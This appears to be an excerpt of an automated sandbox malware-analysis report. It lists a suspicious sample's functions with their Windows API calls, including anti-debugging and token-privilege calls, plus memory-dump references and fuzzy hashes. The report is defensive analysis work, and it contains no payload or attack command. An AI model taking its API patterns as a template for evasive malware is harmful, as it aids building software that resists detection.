                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Cursor$DialogLongMenuNtdllPopupProc_TrackWindow
                                      • String ID:
                                      • API String ID: 1423138444-0
                                      • Opcode ID: 81ef758a3a42012692e2753e1b4ba0bacb4f23a0f4247446ae2b05238f9a5b04
                                      • Instruction ID: 6ada11189b409f11aac534f78df398b8769ee2a44b1a3b157ad6a71420164f1f
                                      • Opcode Fuzzy Hash: 81ef758a3a42012692e2753e1b4ba0bacb4f23a0f4247446ae2b05238f9a5b04
                                      • Instruction Fuzzy Hash: 1721D135501018AFDB258F94C858EFF7BBAFB4A351F044195F906872A1C7359D91EBA0
                                      Function 0092CD62 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON
                                      Download Yara Rule
                                      APIs
                                      • InternetReadFile.WININET(?,?,00000400,?), ref: 0092CDA7
                                      • GetLastError.KERNEL32(?,00000000), ref: 0092CE08
                                      • SetEvent.KERNEL32(?,?,00000000), ref: 0092CE1C
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ErrorEventFileInternetLastRead
                                      • String ID:
                                      • API String ID: 234945975-0
                                      • Opcode ID: f9346ed5c2ba75e1ae7c04fb37c75ba64397bdc3b880b1d3d9a35799e917e790
                                      • Instruction ID: bc54ad6aef2f49e4e7ec3997095cd5c77273ec8b83c5edc1dad6407099c4d4f9
                                      • Opcode Fuzzy Hash: f9346ed5c2ba75e1ae7c04fb37c75ba64397bdc3b880b1d3d9a35799e917e790
                                      • Instruction Fuzzy Hash: A621BDB6500315AFDB20DF65E848BABBBFCEF40318F10882AE146A6151E774EE04DB90
                                      Function 009181EE Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 568stringCOMMON
                                      Download Yara Rule
                                      APIs
                                      • lstrlenW.KERNEL32(?,?,?,00000000), ref: 00918200
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: lstrlen
                                      • String ID: ($|
                                      • API String ID: 1659193697-1631851259
                                      • Opcode ID: 9b4407b615d5cb28f2c67fb7b19d95a44161b8fda087f62c24395e4d477e8763
                                      • Instruction ID: a81e70bdc04de02aaf81fc7a2be7ec4c19d148eb90ba988137c7c410c27a0a99
                                      • Opcode Fuzzy Hash: 9b4407b615d5cb28f2c67fb7b19d95a44161b8fda087f62c24395e4d477e8763
                                      • Instruction Fuzzy Hash: E5325A74A00B059FC728CF59C480AAAB7F0FF48710B15C96EE59ADB7A1DB70E981CB40
                                      Function 00925BB5 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • FindFirstFileW.KERNEL32(?,?), ref: 00925BDF
                                      • FindNextFileW.KERNEL32(00000000,?), ref: 00925C35
                                      • FindClose.KERNEL32(?), ref: 00925C7D
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Find$File$CloseFirstNext
                                      • String ID:
                                      • API String ID: 3541575487-0
                                      • Opcode ID: 099bb6954394a2e6d7e31c093649aa0de3e2af2ba05aa48086aa6f8c308d5c5f
                                      • Instruction ID: 042d3731c7deeb3b41bf5f79c4cac1cfb597c4c534916dc3ae06afac2f0d4953
                                      • Opcode Fuzzy Hash: 099bb6954394a2e6d7e31c093649aa0de3e2af2ba05aa48086aa6f8c308d5c5f
                                      • Instruction Fuzzy Hash: 60517A74604B019FC714DF28D490E9AB7E8FF49314F15855EE9AA8B3A2DB30ED04CB91
                                      Function 008E25B2 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • IsDebuggerPresent.KERNEL32(?,?,?,?,?,0000000A), ref: 008E26AA
                                      • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,0000000A), ref: 008E26B4
                                      • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,0000000A), ref: 008E26C1
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                      • String ID:
                                      • API String ID: 3906539128-0
                                      • Opcode ID: 9b744af09cccf6bed5e7e4917eef6e654fbfa3302ac25b9a9eb7377637b99156
                                      • Instruction ID: 11651fd7101e28d078de57c3c5477568a1748780b38d0548ebaee6768fc89d1c
                                      • Opcode Fuzzy Hash: 9b744af09cccf6bed5e7e4917eef6e654fbfa3302ac25b9a9eb7377637b99156
                                      • Instruction Fuzzy Hash: 1031D57490122C9BCB21DF69D988B9DBBB8FF18310F5042DAE40CA6261EB709F858F45
                                      Function 009250EB Relevance: 4.6, APIs: 3, Instructions: 76COMMON
                                      Download Yara Rule
                                      APIs
                                      • SetErrorMode.KERNEL32(00000001), ref: 009250F8
                                      • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00925156
                                      • SetErrorMode.KERNEL32(00000000), ref: 009251BF
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ErrorMode$DiskFreeSpace
                                      • String ID:
                                      • API String ID: 1682464887-0
                                      • Opcode ID: 0bbfb486f34d2e40cc6ba7e0e06f4b7172cf149c1ddb4a0626fc161a29a70fc3
                                      • Instruction ID: 907a4eb821becbd1136fc6830e308503bebd0df15ec67e2e25c1ab568fa6a773
                                      • Opcode Fuzzy Hash: 0bbfb486f34d2e40cc6ba7e0e06f4b7172cf149c1ddb4a0626fc161a29a70fc3
                                      • Instruction Fuzzy Hash: E0314975A04518AFDB00DF54D884FEDBBB4FF48314F058099E8059B3A6DB72E856CB91
                                      Function 00911607 Relevance: 4.6, APIs: 3, Instructions: 68COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CFD5B: __CxxThrowException@8.LIBVCRUNTIME ref: 008D05E8
                                        • Part of subcall function 008CFD5B: __CxxThrowException@8.LIBVCRUNTIME ref: 008D0605
                                      • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00911651
                                      • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0091167E
                                      • GetLastError.KERNEL32 ref: 0091168E
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
                                      • String ID:
                                      • API String ID: 577356006-0
                                      • Opcode ID: 83d831b89813bb5fbf5d4afbf866a6c7be8d10cf02552bb1b4ad2687ec0253f3
                                      • Instruction ID: 2c5c522704a95feed372b1bab574ecdaab5e50a379070ad8d331aefe285f73df
                                      • Opcode Fuzzy Hash: 83d831b89813bb5fbf5d4afbf866a6c7be8d10cf02552bb1b4ad2687ec0253f3
                                      • Instruction Fuzzy Hash: 6D1101B1514304BFE7189F54DC86EAAB7BCFB04710B20852EF14693251EB70FC808B20
                                      Function 0091D588 Relevance: 4.6, APIs: 3, Instructions: 55fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0091D5A0
                                      • DeviceIoControl.KERNEL32(00000000,002D1400,00000007,0000000C,?,0000000C,?,00000000), ref: 0091D5DD
                                      • CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0091D5E6
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CloseControlCreateDeviceFileHandle
                                      • String ID:
                                      • API String ID: 33631002-0
                                      • Opcode ID: be8212aa1f92c2e2013e7e21aec5037f6d7ce60bdcaf23ca7e5f632d9874622c
                                      • Instruction ID: 39760ee3c70e3a89bb1cd1e5646bb99b60f76496d299041f28600eb99d14b88e
                                      • Opcode Fuzzy Hash: be8212aa1f92c2e2013e7e21aec5037f6d7ce60bdcaf23ca7e5f632d9874622c
                                      • Instruction Fuzzy Hash: 710171B1A16228BFE7109BACDC49FEFBABCEB09750F104615B914E7190D2B49E0587E0
                                      Function 009115A7 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 009115D0
                                      • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 009115E5
                                      • FreeSid.ADVAPI32(?), ref: 009115F5
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: AllocateCheckFreeInitializeMembershipToken
                                      • String ID:
                                      • API String ID: 3429775523-0
                                      • Opcode ID: 02675957fdd1a2f7c25459556cc677c680cc9205bd58f4c50c4b5f0469870073
                                      • Instruction ID: e77a035122622f47fe5fca23743a146d76c86a5fc40558cbb8164c04112a3d10
                                      • Opcode Fuzzy Hash: 02675957fdd1a2f7c25459556cc677c680cc9205bd58f4c50c4b5f0469870073
                                      • Instruction Fuzzy Hash: A4F0F4B5A5130DFFEF00DFE49C89EAEBBBCEB08604F504865A501E2181E774AA449B50
                                      Function 008D4C78 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • GetCurrentProcess.KERNEL32(00000003,?,008D4C4E,00000003,009788C8,0000000C,008D4DA5,00000003,00000002,00000000,?,008E2879,00000003), ref: 008D4C99
                                      • TerminateProcess.KERNEL32(00000000,?,008D4C4E,00000003,009788C8,0000000C,008D4DA5,00000003,00000002,00000000,?,008E2879,00000003), ref: 008D4CA0
                                      • ExitProcess.KERNEL32 ref: 008D4CB2
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Process$CurrentExitTerminate
                                      • String ID:
                                      • API String ID: 1703294689-0
                                      • Opcode ID: b2ed8efd316821a52531e6e669893aaef542f92d76fd908e70e70d950e87fd50
                                      • Instruction ID: b648b9521e6cb2bf09bb275da33745ee537e3d3368dd81dde86a8fdaad0e69c9
                                      • Opcode Fuzzy Hash: b2ed8efd316821a52531e6e669893aaef542f92d76fd908e70e70d950e87fd50
                                      • Instruction Fuzzy Hash: 71E046B1026188AFCF11AF69DE09E483B69FB46381F048014F805CA222DB35ED42DB80
                                      Function 0090DA16 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetUserNameW.ADVAPI32(?,?), ref: 0090DA28
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: NameUser
                                      • String ID: X64
                                      • API String ID: 2645101109-893830106
                                      • Opcode ID: 055bb411942a60718f861d6737c996dc2cce88600097c59b13dad9ef123839c1
                                      • Instruction ID: 37bbdd63b6e97e3b88f4fa2491889c6ace789d79f4a4c9d01f4cf29b006cda89
                                      • Opcode Fuzzy Hash: 055bb411942a60718f861d6737c996dc2cce88600097c59b13dad9ef123839c1
                                      • Instruction Fuzzy Hash: 1BD0E9B591611DEECF94DB90DC88EDA777CBB45308F104555F506E2140D77495489F10
                                      Function 008DCA30 Relevance: 3.5, APIs: 2, Instructions: 464COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: ebe32b9e9a0195b35bb6943144bf46fa156ca40a4ea5f4f8e36eb64e40b91145
                                      • Instruction ID: 3eb42ce442cc60d0aabb6709941cfb5b68057b2449653e1b0c5ba1aec83f0c22
                                      • Opcode Fuzzy Hash: ebe32b9e9a0195b35bb6943144bf46fa156ca40a4ea5f4f8e36eb64e40b91145
                                      • Instruction Fuzzy Hash: 2B020D71E0011A9FDF14CFA9C8806ADBBF5FF48324F25426AD919E7384D731A941CB94
                                      Function 008CAC40 Relevance: 3.1, APIs: 2, Instructions: 80nativeCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CB021: GetWindowLongW.USER32(?,000000EB), ref: 008CB032
                                        • Part of subcall function 008CADC4: GetWindowLongW.USER32(?,000000EB), ref: 008CADD2
                                      • GetParent.USER32(?), ref: 00907D60
                                      • NtdllDialogWndProc_W.NTDLL(?,00000133,?,?,?,?), ref: 00907DEA
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: LongWindow$DialogNtdllParentProc_
                                      • String ID:
                                      • API String ID: 314495775-0
                                      • Opcode ID: a70d57120aa49a321ee3da5bd967ea085122e0c6a0c977c2406494ce6e735f4a
                                      • Instruction ID: be7047038557b1d1896c03185352c350227307162232a09047b3f4f830bfd54f
                                      • Opcode Fuzzy Hash: a70d57120aa49a321ee3da5bd967ea085122e0c6a0c977c2406494ce6e735f4a
                                      • Instruction Fuzzy Hash: CD21A070504108AFCB299F68CC58EF93BAAEF06378F148248F5258B2F2C331AD51DB12
                                      Function 0092680C Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • FindFirstFileW.KERNEL32(?,?), ref: 00926836
                                      • FindClose.KERNEL32(00000000), ref: 0092687F
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Find$CloseFileFirst
                                      • String ID:
                                      • API String ID: 2295610775-0
                                      • Opcode ID: cc95416ed65756e75d8755422ef3065dc738917784a85391b08041f8108ac55e
                                      • Instruction ID: 266436a2f8c20b33e76abeafd247646ee24648a208c1440350dd7cee2d984ea7
                                      • Opcode Fuzzy Hash: cc95416ed65756e75d8755422ef3065dc738917784a85391b08041f8108ac55e
                                      • Instruction Fuzzy Hash: 8A11B2756046109FC710DF69D888E16BBE4FF85328F54C6A9E8698F7A2CB70EC05CB91
                                      Function 00948F93 Relevance: 3.0, APIs: 2, Instructions: 44nativewindowCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CB021: GetWindowLongW.USER32(?,000000EB), ref: 008CB032
                                      • NtdllDialogWndProc_W.NTDLL(?,0000002B,?,?,?,?,?,?,?,00908059,?,?,?), ref: 00949003
                                        • Part of subcall function 008CADC4: GetWindowLongW.USER32(?,000000EB), ref: 008CADD2
                                      • SendMessageW.USER32(?,00000401,00000000,00000000), ref: 00948FE9
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: LongWindow$DialogMessageNtdllProc_Send
                                      • String ID:
                                      • API String ID: 1273190321-0
                                      • Opcode ID: 50f7bd772b8242e18ed6abe70795d76077134cbffad8787d33c93abf511e4d3c
                                      • Instruction ID: 5ef02b0df5c0e5c4d050550eb61e9e54b7d8dfaf7524e9393e81942f4428a146
                                      • Opcode Fuzzy Hash: 50f7bd772b8242e18ed6abe70795d76077134cbffad8787d33c93abf511e4d3c
                                      • Instruction Fuzzy Hash: AE01D430105204ABDB219F54EC45F673BBAFF86369F100559FA221B2E1CB726845DB51
                                      Function 009236D3 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,009347B8,?,?,00000035,?), ref: 00923702
                                      • FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,009347B8,?,?,00000035,?), ref: 00923712
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
